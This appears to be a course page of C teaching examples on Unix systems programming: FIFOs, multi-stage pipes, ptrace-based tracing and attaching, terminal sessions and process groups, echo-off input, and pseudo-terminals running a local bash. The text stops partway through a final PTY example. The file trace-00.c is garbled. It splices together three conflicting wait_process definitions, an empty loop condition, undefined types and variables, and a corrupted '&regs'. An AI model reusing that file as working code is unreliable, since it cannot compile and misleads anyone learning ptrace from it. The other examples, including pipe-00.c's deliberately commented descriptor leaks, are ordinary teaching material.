fifo_r.cC / 39 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
enum { buf_size = 4096 };
enum exit_codes {
exit_success,
exit_failure,
exit_arguments,
exit_process,
exit_signal,
exit_file
};
void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
int main()
{
int fd, rc, r;
char buf[buf_size];
r = mkfifo("fifo.t", 0666);
if (r == -1)
terminate("mkfifo", exit_failure);
fd = open("fifo.t", O_RDONLY);
if (fd == -1)
terminate("fifo.t", exit_file);
while ((rc = read(fd, buf, buf_size)) != 0)
write(1, buf, rc);
return 0;
}
fifo_w.cC / 33 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
enum exit_codes {
exit_success,
exit_failure,
exit_arguments,
exit_process,
exit_signal,
exit_file
};
void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
int main()
{
int fd;
fd = open("fifo.t", O_WRONLY);
if (fd == -1)
terminate("fifo.t", exit_file);
write(fd, "one", 3);
return 0;
}
pipe-00.cC / 58 lines
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
int p1[2], p2[2];
pipe(p1); // yes -> cat
pipe(p2); // cat -> head
if (fork() == 0) {
// yes
dup2(p1[1], 1);
close(p1[0]);
close(p1[1]);
// BUG: this child still has p2[0] open
// BUG: also p2[1] open
execlp("yes", "yes", NULL);
exit(1);
}
if (fork() == 0) {
// cat
dup2(p1[0], 0);
dup2(p2[1], 1);
close(p1[0]);
close(p1[1]);
close(p2[0]);
close(p2[1]);
execlp("cat", "cat", NULL);
exit(1);
}
if (fork() == 0) {
// head -n 1
dup2(p2[0], 0);
close(p1[0]);
close(p1[1]);
close(p2[0]);
close(p2[1]);
execlp("head", "head", "-n", "10", NULL);
exit(1);
}
// parent closes everything correctly
close(p1[0]);
close(p1[1]);
close(p2[0]);
close(p2[1]);
pause();
}
pipe-01.cC / 52 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
enum { buf_size = 4096 };
enum exit_codes {
exit_success,
exit_failure,
exit_arguments,
exit_process,
exit_signal,
exit_file
};
static const char msg[] = "Hello there\n";
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
int main()
{
int fd[2];
int p1, p2, rc;
char buf[buf_size];
pipe(fd);
p1 = fork();
if (p1 == -1)
terminate("fork", exit_process);
if (p1 == 0) {
close(fd[0]);
write(fd[1], msg, sizeof(msg)-1);
exit(0);
}
p2 = fork();
if (p2 == -1)
terminate("fork", exit_process);
if (p2 == 0) {
close(fd[1]);
rc = read(fd[0], buf, buf_size);
exit(0);
}
close(fd[0]);
close(fd[1]);
return 0;
}
pipe-02.cC / 77 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
enum exit_codes {
exit_success,
exit_failure,
exit_arguments,
exit_process,
exit_signal,
exit_file
};
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
static void terminate_exec(const char *msg, int code)
{
fflush(stderr);
perror(msg);
_exit(code);
}
void wait_process()
{
int wr, status, exit_status;
wr = wait(&status);
if (wr == -1)
terminate("wait", 1);
if (WIFEXITED(status)) {
exit_status = WEXITSTATUS(status);
if (exit_status != 0)
printf("exited with code: %d\n", exit_status);
} else
printf("killed with signal: %d\n", WTERMSIG(status));
}
int main()
{
int fd[2], pid;
pipe(fd);
pid = fork();
if (pid == -1)
terminate("fork", exit_process);
if (pid == 0) {
close(fd[0]);
dup2(fd[1], 1);
close(fd[1]);
execlp("ls", "ls", "-lR", NULL);
terminate_exec("ls", exit_process);
}
pid = fork();
if (pid == -1)
terminate("fork", exit_process);
if (pid == 0) {
close(fd[1]);
dup2(fd[0], 0);
close(fd[0]);
execlp("grep", "grep", "^d", NULL);
terminate_exec("grep", exit_process);
}
close(fd[0]);
close(fd[1]);
wait_process();
wait_process();
return 0;
}
pipe-03.cC / 105 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
enum exit_codes {
exit_success,
exit_failure,
exit_arguments,
exit_process,
exit_signal,
exit_file
};
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
static void terminate_exec(const char *msg, int code)
{
fflush(stderr);
perror(msg);
_exit(code);
}
void wait_process()
{
int wr, status, exit_status;
wr = wait(&status);
if (wr == -1)
terminate("wait", 1);
if (WIFEXITED(status)) {
exit_status = WEXITSTATUS(status);
if (exit_status != 0)
printf("exited with code: %d\n", exit_status);
} else
printf("killed with signal: %d\n", WTERMSIG(status));
}
int main()
{
int fd1[2], fd2[2], pid;
pipe(fd1);
pipe(fd2);
pid = fork();
if (pid == -1)
terminate("fork", exit_process);
if (pid == 0) {
close(fd1[0]);
dup2(fd1[1], 1);
close(fd1[1]);
close(fd2[0]);
close(fd2[1]);
execlp("ls", "ls", "-lR", NULL);
terminate_exec("ls", exit_process);
}
pid = fork();
if (pid == -1)
terminate("fork", exit_process);
if (pid == 0) {
close(fd1[1]);
dup2(fd1[0], 0);
close(fd1[0]);
close(fd2[0]);
dup2(fd2[1], 1);
close(fd2[1]);
execlp("grep", "grep", "^d", NULL);
terminate_exec("grep", exit_process);
}
pid = fork();
if (pid == -1)
terminate("fork", exit_process);
if (pid == 0) {
close(fd1[0]);
close(fd1[1]);
close(fd2[1]);
dup2(fd2[0], 0);
close(fd2[0]);
execlp("wc", "wc", "-l", NULL);
terminate_exec("grep", exit_process);
}
close(fd1[0]);
close(fd1[1]);
close(fd2[0]);
close(fd2[1]);
wait_process();
wait_process();
wait_process();
return 0;
}
pipe-04.cC / 125 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
enum exit_codes {
exit_success,
exit_failure,
exit_arguments,
exit_process,
exit_signal,
exit_file
};
typedef int (*fds_t)[2];
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
static void terminate_exec(const char *msg, int code)
{
fflush(stderr);
perror(msg);
_exit(code);
}
void wait_process()
{
int wr, status, exit_status;
wr = wait(&status);
if (wr == -1)
terminate("wait", 1);
if (WIFEXITED(status)) {
exit_status = WEXITSTATUS(status);
if (exit_status != 0)
printf("exited with code: %d\n", exit_status);
} else
printf("killed with signal: %d\n", WTERMSIG(status));
}
int main()
{
int fd1[2], fd2[2], fd3[2], pid;
pipe(fd1);
pid = fork();
if (pid == -1)
terminate("fork", exit_process);
if (pid == 0) {
close(fd1[0]);
dup2(fd1[1], 1);
close(fd1[1]);
execlp("ls", "ls", "-lR", NULL);
terminate_exec("ls", exit_process);
}
pipe(fd2);
pid = fork();
if (pid == -1)
terminate("fork", exit_process);
if (pid == 0) {
close(fd1[1]);
dup2(fd1[0], 0);
close(fd1[0]);
close(fd2[0]);
dup2(fd2[1], 1);
close(fd2[1]);
execlp("grep", "grep", "^d", NULL);
terminate_exec("grep", exit_process);
}
pipe(fd3);
close(fd1[0]);
close(fd1[1]);
pid = fork();
if (pid == -1)
terminate("fork", exit_process);
if (pid == 0) {
close(fd2[1]);
dup2(fd2[0], 0);
close(fd2[0]);
close(fd3[0]);
dup2(fd3[1], 1);
close(fd3[1]);
execlp("cat", "cat", NULL);
terminate_exec("cat", exit_process);
}
close(fd2[0]);
close(fd2[1]);
pid = fork();
if (pid == -1)
terminate("fork", exit_process);
if (pid == 0) {
close(fd3[1]);
dup2(fd3[0], 0);
close(fd3[0]);
execlp("wc", "wc", "-l", NULL);
terminate_exec("grep", exit_process);
}
close(fd3[0]);
close(fd3[1]);
wait_process();
wait_process();
wait_process();
wait_process();
return 0;
}
pipe-05.cC / 108 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
enum { processes_limit = 64, cmds_limit = 64 };
enum exit_codes {
exit_success,
exit_failure,
exit_arguments,
exit_process,
exit_signal,
exit_file
};
typedef int (*fds_t)[2];
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
static void terminate_exec(const char *msg, int code)
{
fflush(stderr);
perror(msg);
_exit(code);
}
void wait_process()
{
int wr, status, exit_status;
wr = wait(&status);
if (wr == -1)
terminate("wait", 1);
if (WIFEXITED(status)) {
exit_status = WEXITSTATUS(status);
if (exit_status != 0)
printf("exited with code: %d\n", exit_status);
} else
printf("killed with signal: %d\n", WTERMSIG(status));
}
void close_in_out(fds_t fds, int i)
{
close(fds[i][0]);
close(fds[i][1]);
}
void launch_process_pipe(char *const cmd[], fds_t fds, int i, int n)
{
int pid;
pid = fork();
if (pid == -1)
terminate("fork", exit_process);
if (pid == 0) {
if (i > 0) {
close(fds[i-1][1]);
dup2(fds[i-1][0], 0);
close(fds[i-1][0]);
}
if (i < n - 1) {
close(fds[i][0]);
dup2(fds[i][1], 1);
close(fds[i][1]);
}
execvp(cmd[0], cmd);
terminate_exec(cmd[0], exit_process);
}
}
int main()
{
int i, n, fds[processes_limit][2];
char *cmds[cmds_limit];
n = 4;
pipe(fds[0]);
cmds[0] = "ls"; cmds[1] = "-lR"; cmds[2] = NULL;
launch_process_pipe(cmds, fds, 0, n);
pipe(fds[1]);
cmds[0] = "grep"; cmds[1] = "^d"; cmds[2] = NULL;
launch_process_pipe(cmds, fds, 1, n);
close_in_out(fds, 0);
pipe(fds[2]);
cmds[0] = "cat"; cmds[1] = NULL;
launch_process_pipe(cmds, fds, 2, n);
close_in_out(fds, 1);
cmds[0] = "wc"; cmds[1] = "-l"; cmds[2] = NULL;
launch_process_pipe(cmds, fds, 3, n);
close_in_out(fds, 2);
for (i = 0; i < n; i++)
wait_process();
return 0;
}
16 (05-03)
trace-00.cC / 141 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
enum exit_codes {
exit_success,
exit_failure,
exit_arguments,
exit_process,
exit_signal,
exit_file
};
void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
void terminate_exec(const char *msg, int code)
{
fflush(stderr);
perror(msg);
_exit(code);
}
void wait_process(pipe_t p, int n)
{
int i, wr, status, exit_status;
do {
wr = wait(&status);
if (wr == -1)
fprintf(stderr, "Error: child process failed\n");
} while ();
if (WIFEXITED(status)) {
exit_status = WEXITSTATUS(status);
if (exit_status != 0)
printf("exited with code: %d\n", exit_status);
} else
printf("killed with signal: %d\n", WTERMSIG(status));
set_sigactions(SIGCHLD, handler_sigchld);
}
void wait_process(int pid)
{
int wr, status;
do {
wr = wait(&status);
if (wr == -1)
terminate("wait", 1);
} while (wr != pid);
if (WIFEXITED(status))
printf("exited with code: %d\n", WEXITSTATUS(status));
else
printf("stopped with signal: %d\n", WSTOPSIG(status));
}
int launch_process(char *const cmds[])
{
int pid;
pid = fork();
if (pid == -1)
terminate("fork", exit_failure);
if (pid == 0) {
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execvp(cmds[0], cmds);
terminate_exec("execvp", exit_process);
}
return pid;
}
int wait_process(int pid)
{
int wr, status;
r = waitpid(pid, &status, 0);
if (r == -1)
terminate("waitpid", 1);
if (WIFEXITED(status) || !WIFSTOPPED(status))
return 1;
return 0;
}
void debug(int pid)
{
unsigned long i_addr;
long word;
int i_value;
int r, to_break;
while (1) {
r = ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);
if (r == -1)
terminate("ptrace singlestep", 1);
to_break = wait_process(pid);
if (to_break)
break;
r = ptrace(PTRACE_GETREGS, pid, NULL, ®s);
if (r == -1)
terminate("ptrace getregs", 1);
i_addr = regs.rbp - 4;
word = ptrace(PTRACE_PEEKDATA, pid, (void *)i_addr, NULL);
i_value = *(int *)&word;
printf("RIP=0x%llx i=%d\n", (unsigned long long)regs.rip, i_value);
}
}
int main(int argc, char **argv)
{
int pid, status;
struct user_regs_struct regs;
if (argc < 2) {
fprintf(stderr,
"Usage: %s <commands with parameters ...> \n", argv[0]);
exit(exit_arguments);
}
pid = launch_process(argv+1);
waitpid(pid, &status, 0);
debug(pid);
return 0;
}
trace-01.cC / 96 lines
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#define I_FROM 0x401135
#define I_TO 0x401160
enum exit_codes {
exit_success,
exit_failure,
exit_arguments,
exit_process,
exit_signal,
exit_file
};
void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
void terminate_exec(const char *msg, int code)
{
fflush(stderr);
perror(msg);
_exit(code);
}
int launch_process(char *const cmds[])
{
int pid;
pid = fork();
if (pid == -1)
terminate("fork", exit_process);
if (pid == 0) {
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execvp(cmds[0], cmds);
terminate_exec("execvp", exit_process);
}
return pid;
}
void print_i(int pid)
{
struct user_regs_struct r;
long word;
int res;
res = ptrace(PTRACE_GETREGS, pid, 0, &r);
if (res == -1)
terminate("GETREGS", exit_process);
if (r.rip < I_FROM || r.rip > I_TO)
return;
errno = 0;
word = ptrace(PTRACE_PEEKDATA, pid, (void *)(r.rbp - 4), 0);
if (word == -1)
terminate("PEEKDATA", exit_process);
printf("rip=%llx i=%d\n", r.rip, (int)word);
}
int main(int argc, char **argv)
{
int pid, st;
if (argc < 2) {
fprintf(stderr, "usage: %s program [args]\n", argv[0]);
return 1;
}
pid = launch_process(argv+1);
waitpid(pid, &st, 0);
while (1) {
if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0) == -1)
terminate("SINGLESTEP", exit_process);
waitpid(pid, &st, 0);
if (WIFEXITED(st))
break;
print_i(pid);
}
return 0;
}
trace-02.cC / 87 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
enum exit_codes {
exit_success,
exit_failure,
exit_arguments,
exit_process,
exit_signal,
exit_file
};
void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
void terminate_exec(const char *msg, int code)
{
fflush(stderr);
perror(msg);
_exit(code);
}
int launch_process(char *const cmds[])
{
int pid;
pid = fork();
if (pid == -1)
terminate("fork", exit_process);
if (pid == 0) {
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execvp(cmds[0], cmds);
terminate_exec("execvp", exit_process);
}
return pid;
}
void debug(int pid)
{
int entering, res, status;
struct user_regs_struct r;
entering = 1;
while (1) {
res = ptrace(PTRACE_SINGLESTEP, pid, 0, 0);
if (res == -1)
terminate("PTRACE_SINGLESTEP", exit_process);
waitpid(pid, &status, 0);
if (WIFEXITED(status))
break;
res = ptrace(PTRACE_GETREGS, pid, 0, &r);
if (res == -1)
terminate("PTRACE_GETREGS", exit_process);
if (entering && r.orig_rax == SYS_write)
printf("write(fd=%lld, buf=0x%llx, count=%lld)\n", r.rdi, r.rsi, r.rdx);
entering = !entering;
}
}
int main(int argc, char **argv)
{
int status, pid;
if (argc < 2) {
fprintf(stderr, "Usage: %s program <args...>\n", argv[0]);
return 1;
}
pid = launch_process(argv+1);
waitpid(pid, &status, 0);
debug(pid);
return 0;
}
trace-03.cC / 92 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <signal.h>
enum exit_codes {
exit_success,
exit_failure,
exit_arguments,
exit_process,
exit_signal,
exit_file
};
void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
void attach_process(int pid)
{
int ret, status;
ret = ptrace(PTRACE_ATTACH, pid, 0, 0);
if (ret == -1)
terminate("PTRACE_ATTACH", exit_process);
ret = waitpid(pid, &status, 0);
if (ret == -1)
terminate("waitpid", exit_process);
if (!WIFSTOPPED(status)) {
fprintf(stderr, "process did not stop\n");
exit(exit_process);
}
printf("attached to %d\n", pid);
}
void debug(int pid)
{
int ret, status;
ret = ptrace(PTRACE_CONT, pid, 0, 0);
if (ret == -1)
terminate("PTRACE_CONT", exit_process);
sleep(3);
ret = kill(pid, SIGSTOP);
if (ret == -1)
terminate("kill SIGSTOP", exit_process);
ret = waitpid(pid, &status, 0);
if (ret == -1)
terminate("waitpid", exit_process);
if (WIFSTOPPED(status))
printf("stopped again\n");
}
void detach_process(int pid)
{
int ret;
ret = ptrace(PTRACE_DETACH, pid, 0, 0);
if (ret == -1)
terminate("PTRACE_DETACH", exit_process);
printf("detached\n");
}
int main(int argc, char **argv)
{
int pid;
if (argc != 2) {
fprintf(stderr, "Usage: %s <pid>\n", argv[0]);
return exit_arguments;
}
pid = atoi(argv[1]);
attach_process(pid);
debug(pid);
detach_process(pid);
return exit_success;
}
04 (05)
dev.cC / 55 lines
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
enum { buf_size = 4096 };
static void die(const char *msg, int num)
{
perror(msg);
exit(num);
}
int main(int argc, char **argv)
{
int fd, code, count;
const char *dev, *msg;
char buf[buf_size];
char read_write;
if (argc != 4) {
fprintf(stderr, "Usage: %s </dev/pts/x> <r/w> <message>\n", argv[0]);
return 2;
}
dev = argv[1];
read_write = argv[2][0];
msg = argv[3];
switch (read_write) {
case 'r': fd = open(dev, O_RDONLY); break;
case 'w': fd = open(dev, O_WRONLY, 0666); break;
}
if (fd == -1)
die("open", 1);
switch (read_write) {
case 'r':
count = read(fd, buf, buf_size);
write(1, buf, count);
break;
case 'w':
code = write(fd, msg, strlen(msg));
if (code == -1)
die("write", 2);
break;
}
code = close(fd);
if (code)
die("open", 3);
return 0;
}
01 (05-04)
terminal-00.cC / 11 lines
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
int fd;
fd = open(argv[1], O_RDONLY);
printf("%d %d %d\n", isatty(0), isatty(1), isatty(fd));
return 0;
}
terminal-01.cC / 24 lines
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <termios.h>
int is_terminal(int fd)
{
struct termios t;
if (ioctl(fd, TCGETS, &t) == 0)
return 1;
return 0;
}
int main(int argc, char **argv)
{
int fd;
fd = open(argv[1], O_RDONLY);
printf("%d %d %d\n", is_terminal(0), is_terminal(1), is_terminal(fd));
return 0;
}
02 (05-04)
terminal-00.cC / 16 lines
#include <stdio.h>
#include <unistd.h>
int main()
{
int pid, sid, pgid;
pid = getpid();
sid = getsid(pid);
pgid = getpgid(pid);
printf("Process id: %d\n", pid);
printf("Session id: %d\n", sid);
printf("Process group id: %d\n", pgid);
return 0;
}
terminal-01.cC / 29 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
int pid, sid, pgid;
pid = getpid();
sid = getsid(pid);
pgid = getpgid(pid);
printf("Process id: %d\n", pid);
printf("Session id: %d\n", sid);
printf("Process group id: %d\n", pgid);
pid = fork();
if (pid > 0)
exit(0);
setsid();
pid = getpid();
sid = getsid(pid);
pgid = getpgid(pid);
printf("Process id: %d\n", pid);
printf("Session id: %d\n", sid);
printf("Process group id: %d\n", pgid);
return 0;
}
terminal-02.cC / 30 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
int pid, sid, pgid;
pid = getpid();
sid = getsid(pid);
pgid = getpgid(pid);
printf("Process id: %d\n", pid);
printf("Session id: %d\n", sid);
printf("Process group id: %d\n", pgid);
pid = fork();
if (pid == 0) {
pid = getpid();
sid = getsid(pid);
pgid = getpgid(pid);
printf("Process id: %d\n", pid);
printf("Session id: %d\n", sid);
printf("Process group id: %d\n", pgid);
exit(0);
}
setpgid(pid, pid);
return 0;
}
terminal-03.cC / 31 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
int pid, sid, pgid;
pid = getpid();
sid = getsid(pid);
pgid = getpgid(pid);
printf("Process id: %d\n", pid);
printf("Session id: %d\n", sid);
printf("Process group id: %d\n", pgid);
pid = fork();
if (pid == 0) {
pid = getpid();
setpgid(pid, pid);
sid = getsid(pid);
pgid = getpgid(pid);
printf("Process id: %d\n", pid);
printf("Session id: %d\n", sid);
printf("Process group id: %d\n", pgid);
exit(0);
}
return 0;
}
terminal-04.cC / 8 lines
#include <unistd.h>
int main()
{
while (1)
sleep(1);
return 0;
}
terminal-05.cC / 21 lines
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
int main(void) {
int fd, pgid, r;
fd = STDIN_FILENO;
pgid = getpgrp();
r = tcsetpgrp(fd, pgid);
if (r == -1) {
fprintf(stderr, "tcsetpgrp failed: %s\n", strerror(errno));
return 1;
}
printf("fd is %d\n", fd);
printf("foreground process group is now %d\n", pgid);
return 0;
}
terminal-06.cC / 22 lines
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
int main(void) {
int fd, r;
fd = open("/dev/tty", O_RDWR);
if (fd != 0) {
r = tcsetpgrp(fd, getpgrp());
if (r == -1) {
fprintf(stderr, "tcsetpgrp failed: %s\n", strerror(errno));
return 1;
}
}
printf("foreground process group is now %d\n", getpgrp());
return 0;
}
Book example: blindpsw.c
blindpsw.cC / 28 lines
#include <stdio.h>
#include <termios.h>
#include <unistd.h> /* for isatty */
#include <string.h> /* for memcpy */
int main()
{
struct termios ts1, ts2;
char buf[128];
char *r;
if(!isatty(0)) {
fprintf(stderr, "We cat only work with a terminal, sorry\n");
return 1;
}
tcgetattr(0, &ts1);
memcpy(&ts2, &ts1, sizeof(ts1));
ts1.c_lflag &= ~ECHO;
tcsetattr(0, TCSANOW, &ts1);
printf("Please blind-type the code: ");
r = fgets(buf, sizeof(buf), stdin);
if(!r) {
fprintf(stderr, "Unexpected end of file\n");
return 1;
}
printf("\nThe code you entered is [%s]\n", buf);
tcsetattr(0, TCSANOW, &ts2);
return 0;
}
03 (05-04)
passwd.cC / 32 lines
#include <stdio.h>
#include <termios.h>
#include <unistd.h>
#include <string.h>
enum { bufsize = 128 };
int main()
{
struct termios ts1, ts2;
char buf[bufsize];
char *r;
if (!isatty(0)) {
fprintf(stderr, "Not a terminal, sorry\n");
return 1;
}
tcgetattr(0, &ts1);
memcpy(&ts2, &ts1, sizeof(ts1));
ts1.c_lflag &= ~ECHO;
tcsetattr(0, TCSANOW, &ts1);
printf("Please bind-type the code: ");
r = fgets(buf, sizeof(buf), stdin);
if (!r) {
fprintf(stderr, "Unexpected end of file\n");
return 1;
}
printf("\nThe code you entered is [%s]\n", buf);
tcsetattr(0, TCSANOW, &ts2);
return 0;
}
terminal-00.cC / 26 lines
#include <stdio.h>
#include <termios.h>
#include <unistd.h>
#include <string.h>
int main()
{
struct termios ts1, ts2;
if (!isatty(0)) {
fprintf(stderr, "Not a terminal, sorry\n");
return 1;
}
tcgetattr(0, &ts1);
memcpy(&ts2, &ts1, sizeof(ts1));
ts1.c_cc[VINTR] = 0;
tcsetattr(0, TCSANOW, &ts1);
while (1)
sleep(1);
tcsetattr(0, TCSANOW, &ts2);
return 0;
}
terminal-01.cC / 35 lines
#include <stdio.h>
#include <termios.h>
#include <unistd.h>
#include <string.h>
enum { buf_size = 4096 };
int main()
{
struct termios ts1, ts2;
char buf[buf_size];
int rc;
if (!isatty(0)) {
fprintf(stderr, "Not a terminal, sorry\n");
return 1;
}
tcgetattr(0, &ts1);
memcpy(&ts2, &ts1, sizeof(ts1));
ts1.c_lflag &= ~(ICANON | IEXTEN | ISIG | ECHO);
ts1.c_cc[VMIN] = 5;
ts1.c_cc[VTIME] = 10;
tcsetattr(0, TCSANOW, &ts1);
while (1) {
rc = read(0, buf, buf_size);
write(1, "hello", 6);
write(1, buf, rc);
}
tcsetattr(0, TCSANOW, &ts2);
return 0;
}
terminal-02.cC / 55 lines
#define _XOPEN_SOURCE 600
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
int main(void) {
int master_fd = posix_openpt(O_RDWR | O_NOCTTY);
if (master_fd == -1) {
perror("posix_openpt");
return 1;
}
if (grantpt(master_fd) == -1) {
perror("grantpt");
close(master_fd);
return 1;
}
if (unlockpt(master_fd) == -1) {
perror("unlockpt");
close(master_fd);
return 1;
}
char *slave_name = ptsname(master_fd);
if (slave_name == NULL) {
perror("ptsname");
close(master_fd);
return 1;
}
printf("slave device: %s\n", slave_name);
int slave_fd = open(slave_name, O_RDWR | O_NOCTTY);
if (slave_fd == -1) {
perror("open slave");
close(master_fd);
return 1;
}
/*
master_fd and slave_fd are now connected.
Data written to master_fd can be read from slave_fd.
Data written to slave_fd can be read from master_fd.
*/
close(slave_fd);
close(master_fd);
return 0;
}
terminal-03.cC / 95 lines
#define _XOPEN_SOURCE 600
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <termios.h>
int main(void) {
int master_fd = posix_openpt(O_RDWR | O_NOCTTY);
if (master_fd == -1) {
perror("posix_openpt");
return 1;
}
if (grantpt(master_fd) == -1) {
perror("grantpt");
return 1;
}
if (unlockpt(master_fd) == -1) {
perror("unlockpt");
return 1;
}
char *slave_name = ptsname(master_fd);
if (slave_name == NULL) {
perror("ptsname");
return 1;
}
pid_t pid = fork();
if (pid == -1) {
perror("fork");
return 1;
}
if (pid == 0) {
/*
Child: create a new session.
After this, the child has no controlling terminal.
*/
if (setsid() == -1) {
perror("setsid");
_exit(1);
}
/*
Open slave side. Do NOT use O_NOCTTY here if you want
this PTY to become the child's controlling terminal.
*/
int slave_fd = open(slave_name, O_RDWR);
if (slave_fd == -1) {
perror("open slave");
_exit(1);
}
/*
Connect terminal to stdin/stdout/stderr.
*/
dup2(slave_fd, STDIN_FILENO);
dup2(slave_fd, STDOUT_FILENO);
dup2(slave_fd, STDERR_FILENO);
if (slave_fd > STDERR_FILENO) {
close(slave_fd);
}
close(master_fd);
execlp("bash", "bash", NULL);
perror("execlp");
_exit(1);
}
/*
Parent: terminal-emulator side.
It talks to the child through master_fd.
*/
printf("child is using slave PTY: %s\n", slave_name);
/*
Here you would normally:
- read from keyboard/stdin and write to master_fd
- read from master_fd and write to screen/stdout
*/
waitpid(pid, NULL, 0);
close(master_fd);
return 0;
}
terminal-04.cC / 79 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <signal.h>
typedef void (*signalhandler_t)(int);
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
void set_sigactions(int signum, signalhandler_t handler)
{
int r;
struct sigaction act = { 0 };
act.sa_handler = handler;
r = sigaction(signum, &act, NULL);
if (r == -1)
terminate("sigaction", 1);
}
static void print_ids()
{
int pid, sid, pgid;
pid = getpid();
sid = getsid(pid);
pgid = getpgid(pid);
printf("pid: %d, sid: %d, pgid: %d\n", pid, sid, pgid);
}
int main()
{
int pid, ret, fd;
const char *file_name;
print_ids();
pid = fork();
if (pid > 0) {
/*
ret = setpgid(pid, pid);
if (ret == -1)
terminate("setpgid", 1);
*/
while (1)
sleep(1);
}
print_ids();
/*
file_name = "/dev/pts/3";
fd = open(file_name, O_RDWR);
if (fd == -1)
terminate(file_name, 1);
*/
ret = setsid();
if (ret == -1)
terminate("setsid", 1);
set_sigactions(SIGCHLD, SIG_IGN);
file_name = "/dev/tty";
fd = open(file_name, O_RDWR|O_NOCTTY);
if (fd == -1)
terminate(file_name, 1);
tcsetpgrp(fd, getpgid(0));
print_ids();
return 0;
}
04 (05-04)
terminal-00.cC / 80 lines
#define _XOPEN_SOURCE 600
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
void terminate_exec(const char *msg, int code)
{
fflush(stderr);
perror(msg);
_exit(code);
}
static int child_process(int fd_master, const char *name_slave)
{
int pid, ret, fd_slave;
pid = fork();
if (pid == -1)
terminate("fork", 1);
if (pid == 0) {
ret = setsid();
if (ret == -1)
terminate("setsid", 1);
fd_slave = open(name_slave, O_RDWR);
if (fd_slave == -1)
terminate("open", 1);
dup2(fd_slave, 0);
dup2(fd_slave, 1);
dup2(fd_slave, 2);
close(fd_master);
close(fd_slave);
execlp("bash", "bash", NULL);
terminate_exec("bash", 1);
}
return pid;
}
int main()
{
int fd_master, ret, pid;
char *name_slave;
fd_master = posix_openpt(O_RDWR | O_NOCTTY);
if (fd_master == -1)
terminate("posix_openpt", 1);
ret = grantpt(fd_master);
if (ret == -1)
terminate("grantpt", 1);
ret = unlockpt(fd_master);
if (ret == -1)
terminate("unlockpt", 1);
name_slave = ptsname(fd_master);
if (name_slave == NULL)
terminate("ptsname", 1);
pid = child_process(fd_master, name_slave);
printf("child is using slave PTY: %s\n", name_slave);
waitpid(pid, NULL, 0);
close(fd_master);
return 0;
}
terminal-01.cC / 96 lines
#define _XOPEN_SOURCE 600
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
void terminate_exec(const char *msg, int code)
{
fflush(stderr);
perror(msg);
_exit(code);
}
void write_fd(int fd, const char *str)
{
write(fd, str, strlen(str));
}
static int child_process(int fd_master, const char *name_slave)
{
int pid, ret, fd_slave;
pid = fork();
if (pid == -1)
terminate("fork", 1);
if (pid == 0) {
ret = setsid();
if (ret == -1)
terminate("setsid", 1);
fd_slave = open(name_slave, O_RDWR);
if (fd_slave == -1)
terminate("open", 1);
dup2(fd_slave, 0);
dup2(fd_slave, 1);
dup2(fd_slave, 2);
close(fd_master);
close(fd_slave);
execlp("bash", "bash", NULL);
terminate_exec("bash", 1);
}
return pid;
}
int main()
{
int fd_master, ret, pid;
char *name_slave;
fd_master = posix_openpt(O_RDWR | O_NOCTTY);
if (fd_master == -1)
terminate("posix_openpt", 1);
ret = grantpt(fd_master);
if (ret == -1)
